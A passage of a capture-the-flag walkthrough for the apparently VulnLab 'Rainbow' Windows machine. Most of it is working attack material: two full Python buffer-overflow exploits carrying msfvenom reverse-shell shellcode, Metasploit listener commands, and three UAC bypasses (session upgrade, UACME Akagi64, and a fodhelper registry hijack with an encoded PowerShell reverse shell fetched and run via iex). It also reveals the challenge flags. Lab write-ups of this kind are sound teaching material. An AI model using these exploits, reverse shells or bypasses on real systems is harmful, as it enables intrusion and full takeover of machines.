buf += b"\xcf\xe5\xa9\x07\xca\xa2\x6d\xf4\xa6\xbb\x1b\xfa"
buf += b"\x15\xbb\x09"

Works also with:

$ msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp -b "\x00\x0D\x0A" LHOST=10.8.2.19 LPORT=443 -f  python

Our final python script is :

#!/usr/bin/python
from pwn import *

HOST = "10.10.122.118"
PORT = 8080

# msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp -b "\x00\x0a\x0d" LHOST=10.8.2.19 LPORT=443 -f  python
buf =  b""
buf += b"\xdb\xcc\xbb\xab\xf5\x5a\xae\xd9\x74\x24\xf4\x5f"
buf += b"\x2b\xc9\xb1\x52\x31\x5f\x17\x83\xef\xfc\x03\xf4"
buf += b"\xe6\xb8\x5b\xf6\xe1\xbf\xa4\x06\xf2\xdf\x2d\xe3"
buf += b"\xc3\xdf\x4a\x60\x73\xd0\x19\x24\x78\x9b\x4c\xdc"
buf += b"\x0b\xe9\x58\xd3\xbc\x44\xbf\xda\x3d\xf4\x83\x7d"
buf += b"\xbe\x07\xd0\x5d\xff\xc7\x25\x9c\x38\x35\xc7\xcc"
buf += b"\x91\x31\x7a\xe0\x96\x0c\x47\x8b\xe5\x81\xcf\x68"
buf += b"\xbd\xa0\xfe\x3f\xb5\xfa\x20\xbe\x1a\x77\x69\xd8"
buf += b"\x7f\xb2\x23\x53\x4b\x48\xb2\xb5\x85\xb1\x19\xf8"
buf += b"\x29\x40\x63\x3d\x8d\xbb\x16\x37\xed\x46\x21\x8c"
buf += b"\x8f\x9c\xa4\x16\x37\x56\x1e\xf2\xc9\xbb\xf9\x71"
buf += b"\xc5\x70\x8d\xdd\xca\x87\x42\x56\xf6\x0c\x65\xb8"
buf += b"\x7e\x56\x42\x1c\xda\x0c\xeb\x05\x86\xe3\x14\x55"
buf += b"\x69\x5b\xb1\x1e\x84\x88\xc8\x7d\xc1\x7d\xe1\x7d"
buf += b"\x11\xea\x72\x0e\x23\xb5\x28\x98\x0f\x3e\xf7\x5f"
buf += b"\x6f\x15\x4f\xcf\x8e\x96\xb0\xc6\x54\xc2\xe0\x70"
buf += b"\x7c\x6b\x6b\x80\x81\xbe\x3c\xd0\x2d\x11\xfd\x80"
buf += b"\x8d\xc1\x95\xca\x01\x3d\x85\xf5\xcb\x56\x2c\x0c"
buf += b"\x9c\x52\xb9\x0c\x4f\x0b\xbb\x10\x6e\x70\x32\xf6"
buf += b"\x1a\x96\x13\xa1\xb2\x0f\x3e\x39\x22\xcf\x94\x44"
buf += b"\x64\x5b\x1b\xb9\x2b\xac\x56\xa9\xdc\x5c\x2d\x93"
buf += b"\x4b\x62\x9b\xbb\x10\xf1\x40\x3b\x5e\xea\xde\x6c"
buf += b"\x37\xdc\x16\xf8\xa5\x47\x81\x1e\x34\x11\xea\x9a"
buf += b"\xe3\xe2\xf5\x23\x61\x5e\xd2\x33\xbf\x5f\x5e\x67"
buf += b"\x6f\x36\x08\xd1\xc9\xe0\xfa\x8b\x83\x5f\x55\x5b"
buf += b"\x55\xac\x66\x1d\x5a\xf9\x10\xc1\xeb\x54\x65\xfe"
buf += b"\xc4\x30\x61\x87\x38\xa1\x8e\x52\xf9\xd1\xc4\xfe"
buf += b"\xa8\x79\x81\x6b\xe9\xe7\x32\x46\x2e\x1e\xb1\x62"
buf += b"\xcf\xe5\xa9\x07\xca\xa2\x6d\xf4\xa6\xbb\x1b\xfa"
buf += b"\x15\xbb\x09"
buf += b"\x90" * 50

offsetbuffer = b"\x90" * (664 - len(buf) - 5 - 4 - 4)

jmpback = b"\xE9\x07\xFE\xFF\xFF" #jmp NEAR 500 back (5 bytes)
jmpback += b"\x90" * 4 #spacer (4 bytes)
jmpback += b"\xEB\xF5\x90\x90" #jmp SHORT 5 back (4 bytes)
eip = p32(0x004094d8) #pop ecx # pop ecx # ret 

css = b"C" * 200
nops = b"\x90" * 15

content = offsetbuffer + buf + jmpback + eip + nops + css

payload =  b"POST / HTTP/1.1\r\n"
payload += b"Host: 127.0.0.1127.0.0.1127.0.0.1127.0.0.1127.0.0.1127.0.0.1127.0.0.1127.0.0.1127.0.0.1127.0.0.1127.0.0.1127.0.0.1\r\n"
payload += b"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0\r\n"
payload += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
payload += b"Content-Type: application/x-www-form-urlencoded\r\n"
payload += b"Content-Length: %d\r\n\r\n" % len(content)
payload += content

p = remote(HOST, PORT)
p.send(payload)
p.recvline()
p.close()

Alternative from xct:

$ cat final.py            
#!/usr/bin/python
from pwn import *

HOST = b"10.10.91.23"
PORT = 8080

egghunter = b"\x42\x33\xd2\x66\x81\xca\xff\x0f\x33\xdb\x42\x53\x53\x52\x53\x53"
egghunter += b"\x53\x6a\x29\x58\xb3\xc0\x64\xff\x13\x83\xc4\x0c\x5a\x83\xc4\x08"
egghunter += b"\x3c\x05\x74\xdf\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xda\xaf\x75"
egghunter += b"\xd7\xff\xe7"

# msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp -b "\x00\x0a\x0d" LHOST=10.8.2.19 LPORT=443 -f  python
buf =  b""
buf += b"\xbd\xb1\xc4\xf4\xa0\xd9\xcc\xd9\x74\x24\xf4\x5f"
buf += b"\x31\xc9\xb1\x52\x83\xef\xfc\x31\x6f\x0e\x03\xde"
buf += b"\xca\x16\x55\xdc\x3b\x54\x96\x1c\xbc\x39\x1e\xf9"
buf += b"\x8d\x79\x44\x8a\xbe\x49\x0e\xde\x32\x21\x42\xca"
buf += b"\xc1\x47\x4b\xfd\x62\xed\xad\x30\x72\x5e\x8d\x53"
buf += b"\xf0\x9d\xc2\xb3\xc9\x6d\x17\xb2\x0e\x93\xda\xe6"
buf += b"\xc7\xdf\x49\x16\x63\x95\x51\x9d\x3f\x3b\xd2\x42"
buf += b"\xf7\x3a\xf3\xd5\x83\x64\xd3\xd4\x40\x1d\x5a\xce"
buf += b"\x85\x18\x14\x65\x7d\xd6\xa7\xaf\x4f\x17\x0b\x8e"
buf += b"\x7f\xea\x55\xd7\xb8\x15\x20\x21\xbb\xa8\x33\xf6"
buf += b"\xc1\x76\xb1\xec\x62\xfc\x61\xc8\x93\xd1\xf4\x9b"
buf += b"\x98\x9e\x73\xc3\xbc\x21\x57\x78\xb8\xaa\x56\xae"
buf += b"\x48\xe8\x7c\x6a\x10\xaa\x1d\x2b\xfc\x1d\x21\x2b"
buf += b"\x5f\xc1\x87\x20\x72\x16\xba\x6b\x1b\xdb\xf7\x93"
buf += b"\xdb\x73\x8f\xe0\xe9\xdc\x3b\x6e\x42\x94\xe5\x69"
buf += b"\xa5\x8f\x52\xe5\x58\x30\xa3\x2c\x9f\x64\xf3\x46"
buf += b"\x36\x05\x98\x96\xb7\xd0\x0f\xc6\x17\x8b\xef\xb6"
buf += b"\xd7\x7b\x98\xdc\xd7\xa4\xb8\xdf\x3d\xcd\x53\x1a"
buf += b"\xd6\xf8\xab\x26\x35\x95\xa9\x26\x38\xde\x27\xc0"
buf += b"\x50\x30\x6e\x5b\xcd\xa9\x2b\x17\x6c\x35\xe6\x52"
buf += b"\xae\xbd\x05\xa3\x61\x36\x63\xb7\x16\xb6\x3e\xe5"
buf += b"\xb1\xc9\x94\x81\x5e\x5b\x73\x51\x28\x40\x2c\x06"
buf += b"\x7d\xb6\x25\xc2\x93\xe1\x9f\xf0\x69\x77\xe7\xb0"
buf += b"\xb5\x44\xe6\x39\x3b\xf0\xcc\x29\x85\xf9\x48\x1d"
buf += b"\x59\xac\x06\xcb\x1f\x06\xe9\xa5\xc9\xf5\xa3\x21"
buf += b"\x8f\x35\x74\x37\x90\x13\x02\xd7\x21\xca\x53\xe8"
buf += b"\x8e\x9a\x53\x91\xf2\x3a\x9b\x48\xb7\x4b\xd6\xd0"
buf += b"\x9e\xc3\xbf\x81\xa2\x89\x3f\x7c\xe0\xb7\xc3\x74"
buf += b"\x99\x43\xdb\xfd\x9c\x08\x5b\xee\xec\x01\x0e\x10"
buf += b"\x42\x21\x1b"
sc = buf

offset = 660

buffer = b"\x90"*10
buffer += b"w00tw00t"+sc
buffer += b"\x90"*200
buffer += egghunter
buffer += b"A"*(offset-len(buffer))
buffer += b"\xEB\x80\x90\x90" #nseh 
buffer += p32(0x004094d8) # pop ecx # pop ecx # ret
print(len(buffer))
buffer += b"D"*(900-len(buffer))
print(len(buffer))
content = buffer

payload =  b"POST / HTTP/1.1\r\n"
payload += b"Host: %s\r\n" % HOST
payload += b"Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0\r\n"
payload += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
payload += b"Content-Type: application/x-www-form-urlencoded\r\n"
payload += b"Content-Length: %d\r\n\r\n" % len(content)
payload += content
 
p = remote(HOST, PORT)
p.send(payload)
p.recvline()
p.close()

Set a Meterpreter listener:

$ msfconsole -qx "use windows/shell_reverse_tcp; set LHOST tun0; set LPORT 443; exploit -j" 
LHOST => 10.8.2.19
LPORT => 443
[*] Payload Handler Started as Job 0

[*] Started reverse TCP handler on 10.8.2.19:443 
msf6 payload(windows/shell_reverse_tcp) >

Execute our python exploit:

$ python3 final.py
668
900
[+] Opening connection to b'10.10.91.23' on port 8080: Done

We got a new session:

msf6 payload(windows/shell_reverse_tcp) > [*] Command shell session 1 opened (10.8.2.19:443 -> 10.10.91.23:52430) at 2024-12-29 14:52:32 +0900

msf6 payload(windows/shell_reverse_tcp) > sessions 

Active sessions
===============

  Id  Name  Type               Information                                               Connection
  --  ----  ----               -----------                                               ----------
  1         shell x86/windows  Shell Banner: Microsoft Windows [Version 10.0.17763.2452  10.8.2.19:443 -> 10.10.91.23:52430 (10.10.91.23)
                               ] -----

msf6 payload(windows/shell_reverse_tcp) > sessions 1
[*] Starting interaction with 1...


Shell Banner:
Microsoft Windows [Version 10.0.17763.2452]
-----
          

C:\rainbow>

Check the user privileges:

C:\rainbow>whoami
whoami
rainbow\rainbow

C:\rainbow>whoami /all
whoami /all

USER INFORMATION
----------------

User Name       SID                                          
=============== =============================================
rainbow\rainbow S-1-5-21-1375461631-704100512-2159914580-1008


GROUP INFORMATION
-----------------

Group Name                                                    Type             SID          Attributes                                        
============================================================= ================ ============ ==================================================
Everyone                                                      Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114    Group used for deny only                          
BUILTIN\Administrators                                        Alias            S-1-5-32-544 Group used for deny only                          
BUILTIN\Users                                                 Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE                                      Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                                                 Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users                              Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization                                Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account                                    Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                                         Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication                              Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level                        Label            S-1-16-8192                                                    


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State   
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

ERROR: Unable to get user claims information.

C:\rainbow>
  • We are a member of local Administrators group
  • We have only a Medium integrity session

Grab the flag Rainbow_User:

C:\rainbow>cd c:\users
cd c:\users

c:\Users>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 5065-724C

 Directory of c:\Users

01/16/2022  12:12 PM    <DIR>          .
01/16/2022  12:12 PM    <DIR>          ..
01/16/2022  11:51 AM    <DIR>          Administrator
12/12/2018  07:45 AM    <DIR>          Public
01/16/2022  12:13 PM    <DIR>          rainbow
               0 File(s)              0 bytes
               5 Dir(s)  14,090,309,632 bytes free

c:\Users>cd rainbow\desktop
cd rainbow\desktop

c:\Users\rainbow\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 5065-724C

 Directory of c:\Users\rainbow\Desktop

01/16/2022  01:16 PM    <DIR>          .
01/16/2022  01:16 PM    <DIR>          ..
01/16/2022  01:17 PM                36 user.txt
               1 File(s)             36 bytes
               2 Dir(s)  14,090,309,632 bytes free

c:\Users\rainbow\Desktop>type user.txt
type user.txt
VL{61d6ddc3ac03f6f5d44ac9700ea203bc}

UAC bypassing (Rainbow_Root)

1. Modern way - via Meterpreter upgrading session

Upgrade to a full Meterpreter x64 shell:

msf6 payload(windows/shell_reverse_tcp) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.8.2.19:4433 
[-] Powershell is not installed on the target.
[*] Command stager progress: 14.11% (1699/12045 bytes)
[*] Command stager progress: 28.21% (3398/12045 bytes)
[*] Command stager progress: 42.32% (5097/12045 bytes)
[*] Command stager progress: 56.42% (6796/12045 bytes)
[*] Command stager progress: 70.53% (8495/12045 bytes)
[*] Command stager progress: 84.29% (10153/12045 bytes)
[*] Command stager progress: 98.17% (11825/12045 bytes)
[*] Command stager progress: 100.00% (12045/12045 bytes)
msf6 payload(windows/shell_reverse_tcp) > 
[*] Sending stage (203846 bytes) to 10.10.106.239
[*] Meterpreter session 2 opened (10.8.2.19:4433 -> 10.10.106.239:49890) at 2024-12-30 12:10:42 +0900
[*] Stopping exploit/multi/handler

msf6 payload(windows/shell_reverse_tcp) > sessions 

Active sessions
===============

  Id  Name  Type                     Information                                        Connection
  --  ----  ----                     -----------                                        ----------
  1         shell x86/windows        Shell Banner: Microsoft Windows [Version 10.0.177  10.8.2.19:443 -> 10.10.106.239:49869 (10.10.106.2
                                     63.2452] -----                                     39)
  2         meterpreter x64/windows  RAINBOW\rainbow @ RAINBOW                          10.8.2.19:4433 -> 10.10.106.239:49890 (10.10.106.
                                                                                        239)

msf6 payload(windows/shell_reverse_tcp) > sessions 2
[*] Starting interaction with 2...

meterpreter >

We are now under meterpreter x64/windows session

Check the user privileges and the integrity level:

meterpreter > getprivs 

Enabled Process Privileges
==========================

Name
----
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeDelegateSessionUserImpersonatePrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

meterpreter > shell
Process 4092 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.2452]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\rainbow>whoami /all
whoami /all

USER INFORMATION
----------------

User Name       SID                                          
=============== =============================================
rainbow\rainbow S-1-5-21-1375461631-704100512-2159914580-1008


GROUP INFORMATION
-----------------

Group Name                                                    Type             SID          Attributes                                                     
============================================================= ================ ============ ===============================================================
Everyone                                                      Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114    Mandatory group, Enabled by default, Enabled group             
BUILTIN\Administrators                                        Alias            S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Users                                                 Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\BATCH                                            Well-known group S-1-5-3      Mandatory group, Enabled by default, Enabled group             
CONSOLE LOGON                                                 Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\Authenticated Users                              Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\This Organization                                Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\Local account                                    Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group             
LOCAL                                                         Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\NTLM Authentication                              Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group             
Mandatory Label\High Mandatory Level                          Label            S-1-16-12288                                                                


PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State  
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeBackupPrivilege                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

Confirmed we have full admin privileges in a High Mandatory Level session

Grab the flag Rainbow_Root:

C:\rainbow>cd c:\users
cd c:\users

c:\Users>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 5065-724C

 Directory of c:\Users

01/16/2022  12:12 PM    <DIR>          .
01/16/2022  12:12 PM    <DIR>          ..
01/16/2022  11:51 AM    <DIR>          Administrator
12/12/2018  07:45 AM    <DIR>          Public
01/16/2022  12:13 PM    <DIR>          rainbow
               0 File(s)              0 bytes
               5 Dir(s)  14,014,590,976 bytes free

c:\Users\Administrator\Desktop>type root.txt
type root.txt
VL{94c8a737a0220dc54ccc10e56c19ea74}

2. Standard way - via UACME

We compile Akagi64 from UACME v3.6.6.

We create a new Meterpreter payload:

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.8.2.19 LPORT=4443 -e x64/xor -f exe -o rshell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 551 (iteration=0)
x64/xor chosen with final size 551
Payload size: 551 bytes
Final size of exe file: 7168 bytes
Saved as: rshell.exe

We set our new Metasploit listener:

$ msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 4443; set ExitOnSession false; exploit -j"
[*] Using configured payload generic/shell_reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
LHOST => tun0
LPORT => 4443
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.8.2.19:4443 

We set a local web server:

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

We upload Akagi64 and our Metasploit payload to our target using our current user session:

c:\Windows\Tasks>curl 10.8.2.19/Akagi64.exe -o Akagi64.exe
c:\Windows\Tasks>curl 10.8.2.19/rshell.exe -o rshell.exe

c:\Windows\Tasks>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 5065-724C

 Directory of c:\Windows\Tasks

12/30/2024  03:52 AM    <DIR>          .
12/30/2024  03:52 AM    <DIR>          ..
12/30/2024  03:52 AM           200,192 Akagi64.exe
12/30/2024  03:52 AM             7,168 rshell.exe
               2 File(s)        207,360 bytes
               2 Dir(s)  14,108,639,232 bytes free

We use Akagi64 with the method 43 to bypass UAC:

  • Type: Elevated COM interface
  • Method: IColorDataProxy, ICMLuaUtil
  • Target(s): Attacker defined
  • Component(s): Attacker defined
  • Implementation: ucmDccwCOMMethod
  • Works from: Windows 7 (7600)
  • Fixed in: unfixed ๐Ÿ™ˆ

We can use also the Method 61:

  • Type: Shell API
  • Method: Registry key manipulation
  • Target(s): \system32\slui.exe, \system32\changepk.exe
  • Component(s): Attacker defined
  • Implementation: ucmShellRegModMethod
  • Works from: Windows 10 (14393)
  • Fixed in: unfixed ๐Ÿ™ˆ
c:\Windows\Tasks>.\Akagi64.exe 43 c:\windows\tasks\rshell.exe

We obtain a new shell in now a high integrity process and be able to grab the last flag:

*] Sending stage (203846 bytes) to 10.10.106.239
[*] Meterpreter session 1 opened (10.8.2.19:4443 -> 10.10.106.239:50933) at 2024-12-30 12:55:25 +0900

msf6 exploit(multi/handler) > sessions 

Active sessions
===============

  Id  Name  Type                     Information                Connection
  --  ----  ----                     -----------                ----------
  1         meterpreter x64/windows  RAINBOW\rainbow @ RAINBOW  10.8.2.19:4443 -> 10.10.106.239:50933 (10.10.106.239)

msf6 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeDelegateSessionUserImpersonatePrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

meterpreter > cat c:\\users\\administrator\\desktop\\root.txt
VL{94c8a737a0220dc54ccc10e56c19ea74}

3. Legacy way - via fodhelper

Because rainbow.exe is a 32-bit binary then we are in a 32-bit shell session:

msf6 payload(windows/shell_reverse_tcp) > sessions 

Active sessions
===============

  Id  Name  Type               Information                                           Connection
  --  ----  ----               -----------                                           ----------
  1         shell x86/windows  Shell Banner: Microsoft Windows [Version 10.0.17763.  10.8.2.19:443 -> 10.10.106.239:50272 (10.10.106.239)
                               2452] -----

First, we need to get a 64-bit shell, and to do that we can just run a new reverse shell from a native powershell:

C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AOAAuADIALgAxADkAIgAsADQANAAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==

We got a new session:

[*] Command shell session 2 opened (10.8.2.19:443 -> 10.10.106.239:51591) at 2024-12-30 13:25:02 +0900

Now, we use the fodhelper UAC bypass.

We create our PoSH fodhelper.ps1:

New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -exec bypass -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AOAAuADIALgAxADkAIgAsADQANAAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==" -Force
Start-Process "C:\Windows\system32\fodhelper.exe" -WindowStyle Hidden

Now we download & execute the script, leading to a reverse shell with full privileges:

PS C:\windows\tasks> iex(iwr http://10.8.2.19/fodhelper.ps1 -usebasicparsing)

This allows us to read the root flag & finish this box.

PS C:\windows\tasks> type c:\users\administrator\desktop\root.txt
VL{94c8a737a0220dc54ccc10e56c19ea74}

Extra

Challenge solved! Use this link to share it: https://api.vulnlab.com/api/v1/share?id=c491af0b-3915-497c-adb8-d9a2e47f845e

vl_rainbow

Guidance

User

  • Exploit the FTP Server to get a shell. Here is a basic PoC:
#!/usr/bin/python
from pwn import *
from urllib import parse
from time import sleep
from sys import argv,exit
from os import system
  
HOST = b""
PORT = 8080
 
buffer = b"A"*900
content = buffer
payload =  b"POST / HTTP/1.1\r\n"
